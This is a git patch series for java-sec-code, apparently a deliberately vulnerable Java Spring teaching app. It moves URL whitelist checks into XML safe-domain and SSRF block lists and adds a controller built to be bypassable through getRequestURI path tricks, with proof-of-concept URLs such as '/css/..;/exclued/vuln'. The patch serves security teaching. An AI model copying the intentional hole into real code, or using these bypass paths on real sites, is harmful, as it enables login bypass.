+package org.joychou.config;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+
+
+/**
+ * 为了不要每次调用都解析safedomain的xml，所以将解析动作放在bean里。
+ */
+@Configuration
+public class SafeDomainConfig {
+
+    private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class);
+
+    @Bean
+    public SafeDomainParser safeDomainParser() {
+        try {
+            LOGGER.info("SafeDomainParser bean inject successfully!!!");
+            return new SafeDomainParser();
+        } catch (Exception e) {
+            LOGGER.error("SafeDomainParser is null " + e.getMessage(), e);
+        }
+        return null;
+    }
+
+}
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
new file mode 100644
index 00000000..8c21e598
--- /dev/null
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -0,0 +1,57 @@
+package org.joychou.config;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.core.io.ClassPathResource;
+import org.w3c.dom.Document;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import java.io.File;
+import java.util.ArrayList;
+
+public class SafeDomainParser {
+
+    private static Logger logger= LoggerFactory.getLogger(SafeDomainParser.class);
+
+    public SafeDomainParser(){
+
+        String safeTag = "safedomain";
+        String domainSafeTag = "domain";
+        String safeDomainClassPath = "url" + File.separator + "safe_domain.xml";
+        ArrayList<String> safeDomains = new ArrayList<>();
+
+        try {
+            // 读取resources目录下的文件
+            ClassPathResource resource = new ClassPathResource(safeDomainClassPath);
+            File file = resource.getFile();
+
+            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+            DocumentBuilder db = dbf.newDocumentBuilder();
+            Document doc = db.parse(file);  // parse xml
+
+            NodeList rootNode = doc.getElementsByTagName(safeTag);
+            Node domainsNode = rootNode.item(0);
+            NodeList child = domainsNode.getChildNodes();
+            
+            for (int i = 0; i < child.getLength(); i++){
+                Node node = child.item(i);
+                if (node.getNodeName().equals(domainSafeTag)) {
+                    safeDomains.add(node.getTextContent());
+                }
+            }
+
+        }catch (Exception e){
+            logger.error(e.toString());
+        }
+
+        WebConfig wc = new WebConfig();
+        wc.setSafeDomains(safeDomains);
+    }
+}
+
+
+
+
diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java
index 96d7f0f5..7eb3290a 100644
--- a/src/main/java/org/joychou/config/WebConfig.java
+++ b/src/main/java/org/joychou/config/WebConfig.java
@@ -3,6 +3,8 @@
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.stereotype.Component;
 
+import java.util.ArrayList;
+
 
 /**
  * Solve can't get value in filter by @Value when not using embed tomcat.
@@ -19,6 +21,7 @@ public class WebConfig {
     private static String[] referUris;
     private static Boolean referSecEnabled = false;
     private static String businessCallback;
+    private static ArrayList<String> safeDomains= new ArrayList<>();
 
     /**
      * application.properties里object自动转jsonp的referer校验开关
@@ -91,4 +94,11 @@ public static String getBusinessCallback(){
         return businessCallback;
     }
 
+
+    public void setSafeDomains(ArrayList<String> safeDomains){
+        WebConfig.safeDomains = safeDomains;
+    }
+    public static ArrayList<String> getSafeDomains(){
+        return safeDomains;
+    }
 }
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
index adb069a9..3537ecf8 100644
--- a/src/main/java/org/joychou/controller/Cors.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -20,8 +20,6 @@
 public class Cors {
 
     private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
-    private static String[] urlwhitelist = {"joychou.org", "joychou.me"};
-
 
     @RequestMapping("/vuln/origin")
     public static String vuls1(HttpServletRequest request, HttpServletResponse response) {
@@ -108,7 +106,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response)
 
         // 如果origin不为空并且origin不在白名单内，认定为不安全。
         // 如果origin为空，表示是同域过来的请求或者浏览器直接发起的请求。
-        if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null ) {
+        if ( origin != null && SecurityUtil.checkURL(origin) == null ) {
             return "Origin is not safe.";
         }
         response.setHeader("Access-Control-Allow-Origin", origin);
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index dfd220f2..d2b3b484 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -75,14 +75,14 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo
 
     /**
      * Safe code of sendRedirect.
-     * http://localhost:8080/urlRedirect/sendRedirect_seccode?url=http://www.baidu.com
+     * http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com
      */
-    @RequestMapping("/sendRedirect_seccode")
+    @RequestMapping("/sendRedirect/sec")
     @ResponseBody
-    public static void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException{
+    public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
+            throws IOException{
         String url = request.getParameter("url");
-        String urlwhitelist[] = {"joychou.org", "joychou.com"};
-        if (SecurityUtil.checkURLbyEndsWith(url, urlwhitelist) == null) {
+        if (SecurityUtil.checkURL(url) == null) {
             // Redirect to error page.
             response.sendRedirect("https://test.joychou.org/error3.html");
             return;
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java
index da2474fa..e2dfc8eb 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONP.java
+++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java
@@ -24,13 +24,11 @@
  * https://github.com/JoyChou93/java-sec-code/wiki/JSONP
  */
 
-
 @RestController
 @RequestMapping("/jsonp")
 public class JSONP {
 
-    private static String[] urlwhitelist = {"joychou.com", "joychou.org"};
-    private static String callback = WebConfig.getBusinessCallback();
+    private String callback = WebConfig.getBusinessCallback();
 
     // get current login username
     public static String getUserInfo2JsonStr(HttpServletRequest request) {
@@ -65,7 +63,7 @@ public String referer(HttpServletRequest request) {
     public String emptyReferer(HttpServletRequest request) {
         String referer = request.getHeader("referer");
 
-        if (null != referer && SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
+        if (null != referer && SecurityUtil.checkURL(referer) == null) {
             return "error";
         }
         String callback = request.getParameter(this.callback);
@@ -110,7 +108,7 @@ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
     public String safecode(HttpServletRequest request) {
         String referer = request.getHeader("referer");
 
-        if (SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
+        if (SecurityUtil.checkURL(referer) == null) {
             return "error";
         }
         String callback = request.getParameter(this.callback);
diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java
index 5027caac..7c16d9d2 100644
--- a/src/main/java/org/joychou/filter/JsonpFilter.java
+++ b/src/main/java/org/joychou/filter/JsonpFilter.java
@@ -39,7 +39,6 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
         HttpServletResponse response = (HttpServletResponse) res;
 
         String refer = request.getHeader("referer");
-        String[] jsonpReferWhitelist = WebConfig.getJsonpReferWhitelist();
         StringBuffer url = request.getRequestURL();
         String query = request.getQueryString();
 
@@ -50,7 +49,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
         }
 
         // 校验jsonp逻辑，如果不安全，返回forbidden
-        if (SecurityUtil.checkUrlByGuava(refer, jsonpReferWhitelist) == null ){
+        if (SecurityUtil.checkURL(refer) == null ){
             logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
             response.setStatus(HttpServletResponse.SC_FORBIDDEN);
             response.getWriter().write("forbidden");
@@ -87,7 +86,7 @@ private boolean check(HttpServletRequest req) {
                 break;
             }
         }
-        if (StringUtils.isBlank(reqCallback)){
+        if(StringUtils.isBlank(reqCallback)){
             return false;
         }
 
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
index 0c40c25f..4e2e9716 100644
--- a/src/main/java/org/joychou/filter/OriginFilter.java
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -20,8 +20,6 @@
 @WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
 public class OriginFilter implements Filter {
 
-    private static String[] urlwhitelist = {"joychou.org", "joychou.me"};
-
     @Override
     public void init(FilterConfig filterConfig) throws ServletException {
 
@@ -40,7 +38,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
         logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL());
 
         // 以file协议访问html，origin为字符串的null，所以依然会走安全check逻辑
-        if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null) {
+        if ( origin != null && SecurityUtil.checkURL(origin) == null) {
             logger.error("[-] Origin check error. " + "Origin: " + origin +
                     "\tCurrent url:" + request.getRequestURL());
             response.setStatus(response.SC_FORBIDDEN);
diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
index 14f1a618..f8803181 100644
--- a/src/main/java/org/joychou/filter/ReferFilter.java
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -64,7 +64,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
         String reqCallback = request.getParameter(WebConfig.getBusinessCallback());
         if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback) ){
             // If the check of referer fails, a 403 forbidden error page will be returned.
-            if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){
+            if (SecurityUtil.checkURL(refer) == null ){
                 logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
                         + "Referer: " + refer);
                 response.setStatus(HttpServletResponse.SC_FORBIDDEN);
diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java
index 45e0451a..cbbad17a 100644
--- a/src/main/java/org/joychou/security/CustomCorsProcessor.java
+++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java
@@ -29,26 +29,21 @@ protected String checkOrigin(CorsConfiguration config, String requestOrigin) {
         if (result != null) {
             return result;
         }
-
-        List<String> allowedOrigins = config.getAllowedOrigins();
-        if (StringUtils.isBlank(requestOrigin)
-                || CollectionUtils.isEmpty(allowedOrigins)) {
+        // List<String> allowedOrigins = config.getAllowedOrigins();
+        if (StringUtils.isBlank(requestOrigin)) {
             return null;
         }
 
-        return customCheckOrigin(allowedOrigins, requestOrigin);
+        return customCheckOrigin(requestOrigin);
     }
 
 
     /**
-     * 用host的endsWith来校验requestOrigin
+     * 校验requestOrigin
      */
-    private String customCheckOrigin(List<String> allowedOrigins, String requestOrigin) {
-
-        // list转String[]
-        String[] arrayAllowOrigins = allowedOrigins.toArray(new String[allowedOrigins.size()]);
+    private String customCheckOrigin(String requestOrigin) {
 
-        if ( SecurityUtil.checkURLbyEndsWith(requestOrigin, arrayAllowOrigins) != null) {
+        if ( SecurityUtil.checkURL(requestOrigin) != null) {
             logger.info("[+] Origin: "  + requestOrigin );
             return requestOrigin;
         }
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index bb154dc4..aca374da 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -1,79 +1,51 @@
 package org.joychou.security;
 
-import com.google.common.net.InternetDomainName;
+import org.joychou.config.WebConfig;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 
 import java.io.UnsupportedEncodingException;
 import java.net.URI;
 import java.net.URLDecoder;
+import java.util.ArrayList;
 import java.util.regex.Pattern;
 
+
 public class SecurityUtil {
 
     private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$") ;
     private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
 
-
     /**
-     * 通过endsWith判断URL是否合法
+     * 同时支持一级域名和多级域名，相关配置在resources目录下url/safe_domain.xml文件
      *
-     * @param url 需要check的url
-     * @param urlwhitelist url白名单list
-     * @return 安全url返回url，危险url返回null
+     * @param url the url need to check
+     * @return Safe url returns original url; Illegal url returns null;
      */
-    public static String checkURLbyEndsWith(String url, String[] urlwhitelist) {
-        if (null == url) {
+    public static String checkURL(String url) {
+
+        if (null == url){
             return null;
         }
+
+        ArrayList<String> safeDomains = WebConfig.getSafeDomains();
         try {
             URI uri = new URI(url);
-
-            if (!url.startsWith("http://") && !url.startsWith("https://")) {
-                return null;
-            }
-
             String host = uri.getHost().toLowerCase();
-            for (String whitelist: urlwhitelist){
-                if (host.endsWith("." + whitelist)) {
-                    return url;
-                }
-            }
-
-            return null;
-        } catch (Exception e) {
-            logger.error(e.toString());
-            return null;
-        }
-    }
-
-    /**
-     * 通过google guava判断URL是否合法。默认认为localhost合法
-     *
-     * @param url 需要check的url
-     * @param urlwhitelist 根域名白名单
-     * @return 安全url返回url，危险url返回null
-     */
-    public static String checkUrlByGuava(String url, String[] urlwhitelist){
-        final String localhost = "localhost";
 
-        if (null == url) {
-            return null;
-        }
-
-        try {
-            URI u = new URI(url);
+            // 必须http/https
             if (!url.startsWith("http://") && !url.startsWith("https://")) {
                 return null;
             }
-            String host = u.getHost().toLowerCase();
-            if (localhost.equals(host)) {
+
+            // 支持多级域名
+            if (safeDomains.contains(host)){
                 return url;
             }
-            String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
 
-            for (String whiteurl: urlwhitelist){
-                if (rootDomain.equals(whiteurl)) {
+            // 支持一级域名
+            for(String safedomain: safeDomains) {
+                if(host.endsWith("." + safedomain)) {
                     return url;
                 }
             }
@@ -114,8 +86,8 @@ public static boolean checkSSRFWithoutRedirect(String url) {
      * @param hostWlist host whitelist
      * @return Safe url returns url. Dangerous url returns null.
      */
-    public static String checkSSRFByHostWlist(String url, String[] hostWlist) {
-        return checkURLbyEndsWith(url, hostWlist);
+    public static String checkSSRFByHost(String url) {
+        return checkURL(url);
     }
 
     /**
@@ -199,7 +171,6 @@ else if(ch == '/' || ch == '.' || ch == '-'){
     }
 
     public static void main(String[] args) {
-        System.out.print(replaceSpecialStr("text/ html&(&(asdf"));
     }
 
 }
\ No newline at end of file
diff --git a/src/main/resources/url/safe_domain.xml b/src/main/resources/url/safe_domain.xml
new file mode 100644
index 00000000..a403a675
--- /dev/null
+++ b/src/main/resources/url/safe_domain.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<safedomain>
+    <!-- 支持一级域名或多级域名 -->
+    <domain>joychou.com</domain>
+    <domain>test.joychou.org</domain>
+</safedomain>

From 89cb9d8b52204261a009e1257a96d3f070c51cf0 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Tue, 31 Mar 2020 17:52:06 +0800
Subject: [PATCH 12/38] fix #13

---
 .../org/joychou/config/SafeDomainConfig.java  |   5 +-
 .../org/joychou/config/SafeDomainParser.java  |  98 +++++++++++++++--
 .../java/org/joychou/config/WebConfig.java    |  54 +++++++---
 .../org/joychou/controller/GetRequestURI.java |  50 +++++++++
 .../java/org/joychou/controller/SSRF.java     |   4 +-
 .../joychou/controller/jsonp/JSONPAdvice.java |  89 ++++++++++++++-
 .../java/org/joychou/filter/JsonpFilter.java  | 101 ------------------
 .../java/org/joychou/filter/ReferFilter.java  |   1 +
 .../joychou/interceptor/JsonpInterceptor.java |  40 +++++++
 .../org/joychou/security/SSRFChecker.java     |  41 ++++++-
 .../org/joychou/security/SecurityUtil.java    |  61 ++++++++---
 .../joychou/security/WebSecurityConfig.java   |   3 +-
 src/main/resources/application.properties     |   1 -
 src/main/resources/banner.txt                 |   6 ++
 src/main/resources/url/safe_domain.xml        |   7 --
 src/main/resources/url/ssrf_safe_domain.xml   |  22 ++++
 src/main/resources/url/url_safe_domain.xml    |  18 ++++
 17 files changed, 439 insertions(+), 162 deletions(-)
 create mode 100644 src/main/java/org/joychou/controller/GetRequestURI.java
 delete mode 100644 src/main/java/org/joychou/filter/JsonpFilter.java
 create mode 100644 src/main/java/org/joychou/interceptor/JsonpInterceptor.java
 create mode 100644 src/main/resources/banner.txt
 delete mode 100644 src/main/resources/url/safe_domain.xml
 create mode 100644 src/main/resources/url/ssrf_safe_domain.xml
 create mode 100644 src/main/resources/url/url_safe_domain.xml

diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java
index d0fb91a7..de2d0bd7 100644
--- a/src/main/java/org/joychou/config/SafeDomainConfig.java
+++ b/src/main/java/org/joychou/config/SafeDomainConfig.java
@@ -7,14 +7,14 @@
 
 
 /**
- * 为了不要每次调用都解析safedomain的xml，所以将解析动作放在bean里。
+ * 为了不要每次调用都解析safedomain的xml，所以将解析动作放在Bean里。
  */
 @Configuration
 public class SafeDomainConfig {
 
     private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class);
 
-    @Bean
+    @Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中
     public SafeDomainParser safeDomainParser() {
         try {
             LOGGER.info("SafeDomainParser bean inject successfully!!!");
@@ -26,3 +26,4 @@ public SafeDomainParser safeDomainParser() {
     }
 
 }
+
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
index 8c21e598..82859444 100644
--- a/src/main/java/org/joychou/config/SafeDomainParser.java
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -18,10 +18,13 @@ public class SafeDomainParser {
 
     public SafeDomainParser(){
 
-        String safeTag = "safedomain";
-        String domainSafeTag = "domain";
-        String safeDomainClassPath = "url" + File.separator + "safe_domain.xml";
+        String rootTag = "domains";
+        String safeDomainTag = "safedomains";
+        String blockDomainTag = "blockdomains";
+        String finalTag = "domain";
+        String safeDomainClassPath = "url" + File.separator + "url_safe_domain.xml";
         ArrayList<String> safeDomains = new ArrayList<>();
+        ArrayList<String> blockDomains = new ArrayList<>();
 
         try {
             // 读取resources目录下的文件
@@ -32,23 +35,104 @@ public SafeDomainParser(){
             DocumentBuilder db = dbf.newDocumentBuilder();
             Document doc = db.parse(file);  // parse xml
 
-            NodeList rootNode = doc.getElementsByTagName(safeTag);
+            NodeList rootNode = doc.getElementsByTagName(rootTag);  // 解析根节点domains
             Node domainsNode = rootNode.item(0);
             NodeList child = domainsNode.getChildNodes();
             
             for (int i = 0; i < child.getLength(); i++){
                 Node node = child.item(i);
-                if (node.getNodeName().equals(domainSafeTag)) {
-                    safeDomains.add(node.getTextContent());
+                // 解析safeDomains节点
+                if (node.getNodeName().equals(safeDomainTag)) {
+                    NodeList tagChild = node.getChildNodes();
+                    for (int j = 0; j < tagChild.getLength(); j++) {
+                        Node finalTagNode = tagChild.item(j);
+                        // 解析safeDomains节点里的domain节点
+                        if (finalTagNode.getNodeName().equals(finalTag)) {
+                            safeDomains.add(finalTagNode.getTextContent());
+                        }
+                    }
+                }else if (node.getNodeName().equals(blockDomainTag)) {
+                    NodeList finalTagNode = node.getChildNodes();
+                    for (int j = 0; j < finalTagNode.getLength(); j++) {
+                        Node tagNode = finalTagNode.item(j);
+                        // 解析blockDomains节点里的domain节点
+                        if (tagNode.getNodeName().equals(finalTag)) {
+                            blockDomains.add(tagNode.getTextContent());
+                        }
+                    }
                 }
             }
-
         }catch (Exception e){
             logger.error(e.toString());
         }
 
         WebConfig wc = new WebConfig();
         wc.setSafeDomains(safeDomains);
+        wc.setBlockDomains(blockDomains);
+
+        // 解析SSRF配置
+        String ssrfRootTag = "ssrfsafeconfig";
+        String ssrfSafeDomainTag = "safedomains";
+        String ssrfBlockDomainTag = "blockdomains";
+        String ssrfBlockIpsTag = "blockips";
+        String ssrfFinalTag = "domain";
+        String ssrfIpFinalTag = "ip";
+        String ssrfSafeDomainClassPath = "url" + File.separator + "ssrf_safe_domain.xml";
+
+        ArrayList<String> ssrfSafeDomains = new ArrayList<>();
+        ArrayList<String> ssrfBlockDomains = new ArrayList<>();
+        ArrayList<String> ssrfBlockIps = new ArrayList<>();
+
+        try {
+            // 读取resources目录下的文件
+            ClassPathResource resource = new ClassPathResource(ssrfSafeDomainClassPath);
+            File file = resource.getFile();
+
+            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+            DocumentBuilder db = dbf.newDocumentBuilder();
+            Document doc = db.parse(file);  // parse xml
+
+            NodeList rootNode = doc.getElementsByTagName(ssrfRootTag);  // 解析根节点
+            Node domainsNode = rootNode.item(0);
+            NodeList child = domainsNode.getChildNodes();
+
+            for (int i = 0; i < child.getLength(); i++){
+                Node node = child.item(i);
+                // 解析safeDomains节点
+                if (node.getNodeName().equals(ssrfSafeDomainTag)) {
+                    NodeList tagChild = node.getChildNodes();
+                    for (int j = 0; j < tagChild.getLength(); j++) {
+                        Node tagFinalNode = tagChild.item(j);
+                        if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) {
+                            ssrfSafeDomains.add(tagFinalNode.getTextContent());
+                        }
+                    }
+                }else if (node.getNodeName().equals(ssrfBlockDomainTag)) {
+                    NodeList tagChild = node.getChildNodes();
+                    for (int j = 0; j < tagChild.getLength(); j++) {
+                        Node tagFinalNode = tagChild.item(j);
+                        if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) {
+                            ssrfBlockDomains.add(tagFinalNode.getTextContent());
+                        }
+                    }
+                }else if(node.getNodeName().equals(ssrfBlockIpsTag)){
+                    NodeList tagChild = node.getChildNodes();
+                    for (int j = 0; j < tagChild.getLength(); j++) {
+                        Node tagFinalNode = tagChild.item(j);
+                        // 解析 blockIps 节点里的 ip 节点
+                        if (tagFinalNode.getNodeName().equals(ssrfIpFinalTag)) {
+                            ssrfBlockIps.add(tagFinalNode.getTextContent());
+                        }
+                    }
+                }
+            }
+        }catch (Exception e){
+            logger.error(e.toString());
+        }
+
+        wc.setSsrfBlockDomains(ssrfBlockDomains);
+        wc.setSsrfBlockIps(ssrfBlockIps);
+        wc.setSsrfSafeDomains(ssrfSafeDomains);
     }
 }
 
diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java
index 7eb3290a..2dfdee19 100644
--- a/src/main/java/org/joychou/config/WebConfig.java
+++ b/src/main/java/org/joychou/config/WebConfig.java
@@ -11,7 +11,7 @@
  *
  * @author JoyChou @2019-07-24
  */
-@Component
+@Component // 注解@Component表明WebConfig类将被SpringIoC容器扫描装配，并且Bean名称为webConfig
 public class WebConfig {
 
     private static String[] callbacks;
@@ -22,7 +22,10 @@ public class WebConfig {
     private static Boolean referSecEnabled = false;
     private static String businessCallback;
     private static ArrayList<String> safeDomains= new ArrayList<>();
-
+    private static ArrayList<String> blockDomains= new ArrayList<>();
+    private static ArrayList<String> ssrfSafeDomains = new ArrayList<>();
+    private static ArrayList<String> ssrfBlockDomains= new ArrayList<>();
+    private static ArrayList<String> ssrfBlockIps = new ArrayList<>();
     /**
      * application.properties里object自动转jsonp的referer校验开关
      * @param jsonpReferCheckEnabled jsonp校验开关
@@ -45,19 +48,6 @@ public static String[] getJsonpCallbacks(){
     }
 
 
-    /**
-     * application.properties里object自动转jsonp的referer白名单域名
-     * @param jsonpRefererHost 白名单域名，仅支持一级域名
-     */
-    @Value("${joychou.security.jsonp.referer.host}")
-    public void setJsonpReferWhitelist(String[] jsonpRefererHost){
-        WebConfig.jsonpRefererHost = jsonpRefererHost;
-    }
-    public static String[] getJsonpReferWhitelist(){
-        return jsonpRefererHost;
-    }
-
-
     @Value("${joychou.security.referer.enabled}")
     public void setReferSecEnabled(Boolean referSecEnabled){
         WebConfig.referSecEnabled = referSecEnabled;
@@ -95,10 +85,42 @@ public static String getBusinessCallback(){
     }
 
 
-    public void setSafeDomains(ArrayList<String> safeDomains){
+    void setSafeDomains(ArrayList<String> safeDomains){
         WebConfig.safeDomains = safeDomains;
     }
     public static ArrayList<String> getSafeDomains(){
         return safeDomains;
     }
+
+
+    void setBlockDomains(ArrayList<String> blockDomains){
+        WebConfig.blockDomains = blockDomains;
+    }
+    public static ArrayList<String> getBlockDomains(){
+        return blockDomains;
+    }
+
+
+    void setSsrfSafeDomains(ArrayList<String> ssrfSafeDomains){
+        WebConfig.ssrfSafeDomains = ssrfSafeDomains;
+    }
+    public static ArrayList<String> getSsrfSafeDomains(){
+        return ssrfSafeDomains;
+    }
+
+
+    void setSsrfBlockDomains(ArrayList<String> ssrfBlockDomains){
+        WebConfig.ssrfBlockDomains = ssrfBlockDomains;
+    }
+    public static ArrayList<String> getSsrfBlockDomainsDomains(){
+        return ssrfBlockDomains;
+    }
+
+
+    void setSsrfBlockIps(ArrayList<String> ssrfBlockIps){
+        WebConfig.ssrfBlockIps = ssrfBlockIps;
+    }
+    public static ArrayList<String> getSsrfBlockIps(){
+        return ssrfBlockIps;
+    }
 }
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java
new file mode 100644
index 00000000..512dc1ae
--- /dev/null
+++ b/src/main/java/org/joychou/controller/GetRequestURI.java
@@ -0,0 +1,50 @@
+package org.joychou.controller;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.util.AntPathMatcher;
+import org.springframework.util.PathMatcher;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+/**
+ * The difference between getRequestURI and getServletPath.
+ * 由于Spring Security的<code>antMatchers("/css/**", "/js/**")</code>未使用getRequestURI，所以登录不会被绕过。
+ *
+ * Details: https://joychou.org/web/security-of-getRequestURI.html
+ *
+ * Poc:
+ *   http://localhost:8080/css/%2e%2e/exclued/vuln
+ *   http://localhost:8080/css/..;/exclued/vuln
+ *   http://localhost:8080/css/..;bypasswaf/exclued/vuln
+ *
+ * @author JoyChou @2020-03-28
+ */
+
+@RestController
+@RequestMapping("uri")
+public class GetRequestURI {
+
+    private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+    @RequestMapping(value = "/exclued/vuln")
+    public String exclued(HttpServletRequest request) {
+
+        String[] excluedPath = {"/css/**", "/js/**"};
+        String uri = request.getRequestURI(); // Security: request.getServletPath()
+        PathMatcher matcher = new AntPathMatcher();
+
+        logger.info("getRequestURI: " + uri);
+        logger.info("getServletPath: " + request.getServletPath());
+
+        for (String path: excluedPath) {
+            if ( matcher.match (path, uri) ) {
+                 return "You have bypassed the login page.";
+            }
+        }
+        return "This is a login page >..<";
+    }
+}
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index ec6dfc54..5b74049e 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -197,7 +197,7 @@ public static String ssrf_HttpClient(@RequestParam String url) {
     @RequestMapping("/commonsHttpClient/sec")
     @ResponseBody
     public static String commonsHttpClient(@RequestParam String url) {
-        if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
+        if (!SecurityUtil.checkSSRFByWhitehosts(url)) {
             return "Bad man. I got u.";
         }
 
@@ -285,7 +285,7 @@ public static String IOUtils(@RequestParam String url) {
     public static String ImageIOSec(@RequestParam String url) {
         try {
             URL u = new URL(url);
-            if (!SecurityUtil.checkSSRF(url)) {
+            if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
                 logger.error("[-] SSRF check failed. Original Url: "+ url);
                 return "SSRF check failed.";
             }
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
index 5463a5a5..944a325b 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
+++ b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
@@ -1,18 +1,97 @@
 package org.joychou.controller.jsonp;
 
+import org.apache.commons.lang.StringUtils;
+import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 import org.springframework.beans.factory.annotation.Value;
+import org.springframework.core.MethodParameter;
+import org.springframework.http.MediaType;
+import org.springframework.http.converter.json.MappingJacksonValue;
+import org.springframework.http.server.ServerHttpRequest;
+import org.springframework.http.server.ServerHttpResponse;
+import org.springframework.http.server.ServletServerHttpRequest;
+import org.springframework.http.server.ServletServerHttpResponse;
 import org.springframework.web.bind.annotation.ControllerAdvice;
 import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice;
 
-// AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead.
-// Since Spring Framework 4.1
-// Springboot 2.1.0 RELEASE use spring framework 5.1.2
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+/**
+ * <code>AbstractJsonpResponseBodyAdvice</code> will be removed as of Spring Framework 5.1, use CORS instead.
+ * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2
+ */
 @ControllerAdvice
 public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice {
 
+    private final String[] callbacks;
+    private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+
     // method of using @Value in constructor
-    public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callback) {
-        super(callback);  // Can set multiple paramNames
